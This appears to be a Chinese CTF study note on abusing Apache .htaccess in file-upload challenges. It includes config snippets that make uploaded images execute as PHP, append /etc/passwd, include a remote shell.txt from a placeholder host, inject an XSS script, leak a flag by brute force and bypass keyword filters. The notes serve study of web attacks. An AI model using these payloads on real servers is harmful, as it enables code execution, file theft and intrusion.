前言
对文件上传的.htaccess分支进行学习并总结。
学的很少,继续努力。
.htaccess是什么?
.htaccess是一个配置文件,用来运行Apache Web Server的Web服务器。当 .htaccess 文件被放置在一个目录中时,该目录又“通过 Apache Web 服务器加载”,然后 .htaccess 文件被 Apache Web 服务器软件检测并执行。
.htaccess文件所在的目录及其所有子目录,若要启动.htaccess配置文件,我们需要在服务器的主配置文件将 AllowOverride 设置为 All。
AllowOverride All #启动.htaccess文件的使用
常用方式
自定义出错误页面
向网站访问者显示友好的错误信息,不定义htaccess会显示404 File Not Found,定义htaccess可以显示自定义文件。
先自定义错误的回显文件。
ErrorDocument 404 /error_pages/404.html
告诉Apache服务器在发生404的时候显示/error_pages/404html。
津门杯的UploadHub就出了这个考点的题目。
分析请看链接:
附件给出Apache配置
<Directory ~ "/var/www/html/upload/[a-f0-9]{32}/">
php_flag engine off
</Directory>
通过传hataccess,wp如下。
<If "file('/flag')=~ /'''flag{xxxx'''/">
ErrorDocument 404 "test"
</If>
通过不断变换字符,写脚本爆破。
访问控制
限制用户访问目录或文件。
指定限制文件
<Files 1.php>
order allow,deny
deny from all
</Files>
限制用户对文件1.php访问,访问1.php,会出现403。
使用通配符指定文件
<Files *.php>
...
</Files>
重定向
重定向能将访问者从网站的文档引导到另一个文档。
创建.htaceess文件
Redirect /hacker/ http://www.yourdomain.com/hackers/index.html
将访问hacker的目录,引导到hackers的index.html。
SetHandler
SetHandler指令可以强制所有匹配的文件被一个指定的处理器处理。
SetHandler application/x-httpd-php
当前目录以及子目录所有文件将会被当作php解析。
AddHandler
AddHandler 指令可以实现在文件扩展名与特定的处理器之间建立映射。
AddHandler cgi-script .xxx
扩展名为 .xxx 的文件作为 CGI 脚本来处理。
AddType
AddType 指令可以将给定的文件扩展名映射到指定的内容类型。
AddType application/x-httpd-php .png
会将png为后缀的文件当作php文件解析。
php_value
.htaccess 文件允许你能够控制某个用户从你的站点(通过 PHP)单次上传数据量的大小。
php_value auto_prepend_file 1.txt 在主文件解析之前自动解析包含1.txt的内容
php_value auto_append_file 2.txt 在主文件解析后自动解析1.txt的内容
php_flag
php_flag 用来设定布尔值的php 配置指令。可以将engine 设置为0,在本目录和子目录中关闭php 解析,造成源码泄露。
php_flag engine 0
#.htaccess文件利用。
利用404页面
<If "file('/flag')=~ /'''flag{xxxx'''/">
ErrorDocument 404 "test"
</If>
通过不断变换字符,刷新到flag{。
文件包含
本地文件包含
当前目录php文件头引入/etc/passwd。
php_value auto_append_file /etc/passwd
使作用范围内的php文件在文件头/尾自动include指定文件,支持php伪协议,.htaccess可以设置
php_value include_path "xxx"将include()的默认路径改变。
php_value include_path "xxx"
远程文件包含
PHP 的 all_url_include配置选项这个选项默认是关闭的,如果开启的话就可以远程包含。因为 all_url_include 的配置范围为 PHP_INI_SYSTEM,所以无法利用 php_flag 在 .htaccess 中开启。
php_value auto_append_file http://xxxxx.xxxx.xxx/shell.txt
伪协议
打开all_url_fopen、all_url_include为on
1.php_value auto_append_file data://text/plain;base64,bDNpZmUK
2.php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.txt"
图片马解析
目标开启.htaccess并且上传黑名单没有限制.htaccess文件,先上传.hataccess文件,对目标环境的目录进行相关配置,在上传图片,使图片的 PHP 恶意代码得以被直接解析执行。
SetHandler指令
<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>
将1.png当作php执行
AddType指定
AddType application/x-httpd-php .png
将.png当作php文件解析
XSS攻击
通过.hataccess文件设定highlight.comment,指定高亮内容,进行XSS。
设置的.hataccess文件。
php_value highlight.comment '"><script>alert(/xss/);</script>'
Bypass
绕过关键字过滤
使用反斜杠\加换行实现。题目过滤type、php等敏感字符。
AddTy\
pe application/x-httpd--ph\
p 1.png
# 即: AddType application/x-httpd-php 1.png
绕过脏字符
使用#\绕过.hataccess。由于脏字符不属于.hataccess文件的语法或指定,使文件不生效,使用#对脏字符进行注释。
可以参考[XNUCA2019Qualifier]EasyPHP WP链接。